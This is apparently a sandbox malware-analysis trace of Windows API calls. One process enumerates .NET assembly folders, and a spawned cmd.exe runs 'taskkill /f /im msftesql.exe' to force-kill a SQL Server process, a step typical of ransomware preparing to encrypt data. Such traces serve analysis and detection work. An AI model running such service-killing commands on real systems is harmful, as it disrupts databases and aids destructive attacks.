	[0088.800] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IO.Compression.FileSystem\\v4.0_4.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9e84be0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x67ebc600, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x67ebc600, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.800] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.800] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IO.Compression.FileSystem\\v4.0_4.0.0.0__b77a5c561934e089\\System.IO.Compression.FileSystem.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.io.compression.filesystem\\v4.0_4.0.0.0__b77a5c561934e089\\system.io.compression.filesystem.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fd778 | out: lpFileInformation=0x123fd778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x67ebc600, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7100)) returned 1
	[0088.800] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IO.Log" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.io.log"), fInfoLevelId=0x0, lpFileInformation=0x123fd7c8 | out: lpFileInformation=0x123fd7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x941d2160, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x941d2160, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x941d2160, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.801] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IO.Log" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.io.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.801] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IO.Log\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x941d2160, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x941d2160, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x941d2160, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.801] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.801] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IO.Log\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.io.log\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x123fd868 | out: lpFileInformation=0x123fd868*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x941d2160, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x62872880, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x62872880, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.801] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IO.Log\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.io.log\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.801] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IO.Log\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x941d2160, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x62872880, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x62872880, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.801] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.801] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IO.Log\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\System.IO.Log.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.io.log\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\system.io.log.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fd908 | out: lpFileInformation=0x123fd908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x628989e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x208b8)) returned 1
	[0088.802] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IdentityModel" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.identitymodel"), fInfoLevelId=0x0, lpFileInformation=0x123fd958 | out: lpFileInformation=0x123fd958*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9415fd40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9415fd40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9415fd40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.802] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IdentityModel" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.identitymodel"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.802] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IdentityModel\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9415fd40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9415fd40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9415fd40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.802] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.802] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IdentityModel\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.identitymodel\\v4.0_4.0.0.0__b77a5c561934e089"), fInfoLevelId=0x0, lpFileInformation=0x123fd9f8 | out: lpFileInformation=0x123fd9f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9415fd40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x6265d540, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6265d540, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.802] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IdentityModel\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.identitymodel\\v4.0_4.0.0.0__b77a5c561934e089"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.802] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IdentityModel\\v4.0_4.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9415fd40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x6265d540, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6265d540, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.802] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.802] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IdentityModel\\v4.0_4.0.0.0__b77a5c561934e089\\System.IdentityModel.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.identitymodel\\v4.0_4.0.0.0__b77a5c561934e089\\system.identitymodel.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fda98 | out: lpFileInformation=0x123fda98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x626836a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x104ed0)) returned 1
	[0088.803] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.IdentityModel.Selectors" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.identitymodel.selectors"), fInfoLevelId=0x0, lpFileInformation=0x123fdae8 | out: lpFileInformation=0x123fdae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x941ac000, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x941ac000, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x941ac000, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.834] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ServiceModel.Activation" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.servicemodel.activation"), fInfoLevelId=0x0, lpFileInformation=0x1245a238 | out: lpFileInformation=0x1245a238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5edb9a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa5edb9a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa5edb9a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0089.043] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Resources\\Ease of Access Themes\\hcblack.theme" (normalized: "c:\\windows\\resources\\ease of access themes\\hcblack.theme"), fInfoLevelId=0x0, lpFileInformation=0x125e3138 | out: lpFileInformation=0x125e3138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d34d5fe, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x3d34d5fe, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xbf2cfa9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7e8)) returned 1
	[0089.044] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Resources\\Ease of Access Themes\\hcwhite.theme" (normalized: "c:\\windows\\resources\\ease of access themes\\hcwhite.theme"), fInfoLevelId=0x0, lpFileInformation=0x125e3188 | out: lpFileInformation=0x125e3188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d37375b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x3d37375b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0xbfc5521, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7e8)) returned 1
	[0089.044] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Resources\\Themes" (normalized: "c:\\windows\\resources\\themes"), fInfoLevelId=0x0, lpFileInformation=0x125e31d8 | out: lpFileInformation=0x125e31d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x91cbf0ce, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x91cbf0ce, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0089.082] GetFileAttributesExW (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\Windows\\Templates" (normalized: "c:\\windows\\serviceprofiles\\networkservice\\appdata\\roaming\\microsoft\\windows\\templates"), fInfoLevelId=0x0, lpFileInformation=0x1251ef58 | out: lpFileInformation=0x1251ef58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf493343c, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf493343c, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf493343c, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0120.450] GetQueuedCompletionStatusEx (in: CompletionPort=0xac, lpCompletionPortEntries=0x32e5fad8, ulCount=0x10, ulNumEntriesRemoved=0x32e5fab8, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x32e5fad8, ulNumEntriesRemoved=0x32e5fab8) returned 0
	[0120.450] SetEvent (hEvent=0x6c) returned 1
	[0120.450] GetQueuedCompletionStatusEx (in: CompletionPort=0xac, lpCompletionPortEntries=0x32e5fab4, ulCount=0x10, ulNumEntriesRemoved=0x32e5fa94, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x32e5fab4, ulNumEntriesRemoved=0x32e5fa94) returned 0
	[0120.450] GetQueuedCompletionStatusEx (CompletionPort=0xac, lpCompletionPortEntries=0x32e5fab4, ulCount=0x10, ulNumEntriesRemoved=0x32e5fa94, dwMilliseconds=0xffffffff, fAlertable=0) 

Process:
	id = "2"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x4ca7a000"
	os_pid = "0xb04"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"taskkill /f /im msftesql.exe \""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 6
	os_tid = 0xb08

	[0028.829] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x38fd14 | out: lpSystemTimeAsFileTime=0x38fd14*(dwLowDateTime=0xf8f436e0, dwHighDateTime=0x1d52dc4)) 
	[0028.829] GetCurrentProcessId () returned 0xb04
	[0028.829] GetCurrentThreadId () returned 0xb08
	[0028.829] GetTickCount () returned 0x18600
	[0028.829] QueryPerformanceCounter (in: lpPerformanceCount=0x38fd0c | out: lpPerformanceCount=0x38fd0c*=14913902070) returned 1
	[0028.830] GetModuleHandleA (lpModuleName=0x0) returned 0x49e10000
	[0028.830] __set_app_type (_Type=0x1) 
	[0028.830] __p__fmode () returned 0x74eb31f4
	[0028.831] __p__commode () returned 0x74eb31fc
	[0028.831] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49e321a6) returned 0x0
	[0028.831] __getmainargs (in: _Argc=0x49e34238, _Argv=0x49e34240, _Env=0x49e3423c, _DoWildCard=0, _StartInfo=0x49e34140 | out: _Argc=0x49e34238, _Argv=0x49e34240, _Env=0x49e3423c) returned 0
	[0028.832] GetCurrentThreadId () returned 0xb08
	[0028.832] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb08) returned 0x60
	[0028.832] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0028.832] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0028.832] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0028.832] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0028.832] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x38fca4 | out: phkResult=0x38fca4*=0x0) returned 0x2
	[0028.833] VirtualQuery (in: lpAddress=0x38fcdb, lpBuffer=0x38fc74, dwLength=0x1c | out: lpBuffer=0x38fc74*(BaseAddress=0x38f000, AllocationBase=0x290000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0028.833] VirtualQuery (in: lpAddress=0x290000, lpBuffer=0x38fc74, dwLength=0x1c | out: lpBuffer=0x38fc74*(BaseAddress=0x290000, AllocationBase=0x290000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0028.833] VirtualQuery (in: lpAddress=0x291000, lpBuffer=0x38fc74, dwLength=0x1c | out: lpBuffer=0x38fc74*(BaseAddress=0x291000, AllocationBase=0x290000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0028.833] VirtualQuery (in: lpAddress=0x293000, lpBuffer=0x38fc74, dwLength=0x1c | out: lpBuffer=0x38fc74*(BaseAddress=0x293000, AllocationBase=0x290000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0028.833] VirtualQuery (in: lpAddress=0x390000, lpBuffer=0x38fc74, dwLength=0x1c | out: lpBuffer=0x38fc74*(BaseAddress=0x390000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x60000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c
	[0028.833] GetConsoleOutputCP () returned 0x1b5
	[0028.833] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e34260 | out: lpCPInfo=0x49e34260) returned 1
	[0028.833] SetConsoleCtrlHandler (HandlerRoutine=0x49e2e72a, Add=1) returned 1
	[0028.833] _get_osfhandle (_FileHandle=1) returned 0xbc
	[0028.833] SetConsoleMode (hConsoleHandle=0xbc, dwMode=0x0) returned 0
	[0028.833] _get_osfhandle (_FileHandle=1) returned 0xbc
	[0028.833] GetConsoleMode (in: hConsoleHandle=0xbc, lpMode=0x49e341ac | out: lpMode=0x49e341ac) returned 0
	[0028.833] _get_osfhandle (_FileHandle=0) returned 0xb8
	[0028.833] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49e341b0 | out: lpMode=0x49e341b0) returned 0
	[0028.834] GetEnvironmentStringsW () returned 0x402008*
	[0028.834] GetProcessHeap () returned 0x3f0000
	[0028.834] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xaca) returned 0x402ae0
	[0028.834] FreeEnvironmentStringsW (penv=0x402008) returned 1
	[0028.834] GetProcessHeap () returned 0x3f0000
	[0028.834] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4) returned 0x400c40
	[0028.834] GetEnvironmentStringsW () returned 0x402008*
	[0028.834] GetProcessHeap () returned 0x3f0000
	[0028.834] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xaca) returned 0x4035b8
	[0028.834] FreeEnvironmentStringsW (penv=0x402008) returned 1
	[0028.834] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x38ec14 | out: phkResult=0x38ec14*=0x68) returned 0x0
	[0028.834] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x38ec1c, lpData=0x38ec20, lpcbData=0x38ec18*=0x1000 | out: lpType=0x38ec1c*=0x0, lpData=0x38ec20*=0x0, lpcbData=0x38ec18*=0x1000) returned 0x2
	[0028.834] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x38ec1c, lpData=0x38ec20, lpcbData=0x38ec18*=0x1000 | out: lpType=0x38ec1c*=0x4, lpData=0x38ec20*=0x1, lpcbData=0x38ec18*=0x4) returned 0x0
	[0028.834] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x38ec1c, lpData=0x38ec20, lpcbData=0x38ec18*=0x1000 | out: lpType=0x38ec1c*=0x0, lpData=0x38ec20*=0x1, lpcbData=0x38ec18*=0x1000) returned 0x2
	[0028.834] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x38ec1c, lpData=0x38ec20, lpcbData=0x38ec18*=0x1000 | out: lpType=0x38ec1c*=0x4, lpData=0x38ec20*=0x0, lpcbData=0x38ec18*=0x4) returned 0x0
	[0028.835] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x38ec1c, lpData=0x38ec20, lpcbData=0x38ec18*=0x1000 | out: lpType=0x38ec1c*=0x4, lpData=0x38ec20*=0x40, lpcbData=0x38ec18*=0x4) returned 0x0
	[0028.835] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x38ec1c, lpData=0x38ec20, lpcbData=0x38ec18*=0x1000 | out: lpType=0x38ec1c*=0x4, lpData=0x38ec20*=0x40, lpcbData=0x38ec18*=0x4) returned 0x0
	[0028.835] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x38ec1c, lpData=0x38ec20, lpcbData=0x38ec18*=0x1000 | out: lpType=0x38ec1c*=0x0, lpData=0x38ec20*=0x40, lpcbData=0x38ec18*=0x1000) returned 0x2
	[0028.835] RegCloseKey (hKey=0x68) returned 0x0
	[0028.835] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x38ec14 | out: phkResult=0x38ec14*=0x68) returned 0x0
	[0028.835] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x38ec1c, lpData=0x38ec20, lpcbData=0x38ec18*=0x1000 | out: lpType=0x38ec1c*=0x0, lpData=0x38ec20*=0x40, lpcbData=0x38ec18*=0x1000) returned 0x2
	[0028.835] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x38ec1c, lpData=0x38ec20, lpcbData=0x38ec18*=0x1000 | out: lpType=0x38ec1c*=0x4, lpData=0x38ec20*=0x1, lpcbData=0x38ec18*=0x4) returned 0x0
	[0028.835] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x38ec1c, lpData=0x38ec20, lpcbData=0x38ec18*=0x1000 | out: lpType=0x38ec1c*=0x0, lpData=0x38ec20*=0x1, lpcbData=0x38ec18*=0x1000) returned 0x2
	[0028.835] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x38ec1c, lpData=0x38ec20, lpcbData=0x38ec18*=0x1000 | out: lpType=0x38ec1c*=0x4, lpData=0x38ec20*=0x0, lpcbData=0x38ec18*=0x4) returned 0x0
	[0028.835] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x38ec1c, lpData=0x38ec20, lpcbData=0x38ec18*=0x1000 | out: lpType=0x38ec1c*=0x4, lpData=0x38ec20*=0x9, lpcbData=0x38ec18*=0x4) returned 0x0
	[0028.835] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x38ec1c, lpData=0x38ec20, lpcbData=0x38ec18*=0x1000 | out: lpType=0x38ec1c*=0x4, lpData=0x38ec20*=0x9, lpcbData=0x38ec18*=0x4) returned 0x0
	[0028.835] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x38ec1c, lpData=0x38ec20, lpcbData=0x38ec18*=0x1000 | out: lpType=0x38ec1c*=0x0, lpData=0x38ec20*=0x9, lpcbData=0x38ec18*=0x1000) returned 0x2
	[0028.835] RegCloseKey (hKey=0x68) returned 0x0
	[0028.835] time (in: timer=0x0 | out: timer=0x0) returned 0x5d163029
	[0028.835] srand (_Seed=0x5d163029) 
	[0028.835] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im msftesql.exe \""
	[0028.835] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im msftesql.exe \""
	[0028.836] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e35260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0028.836] GetProcessHeap () returned 0x3f0000
	[0028.836] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x210) returned 0x402008
	[0028.836] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x402010, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0028.837] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49e40640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0028.837] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e40640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0028.837] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49e40640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0028.837] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0028.837] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0028.837] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0028.837] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0028.837] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0028.837] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
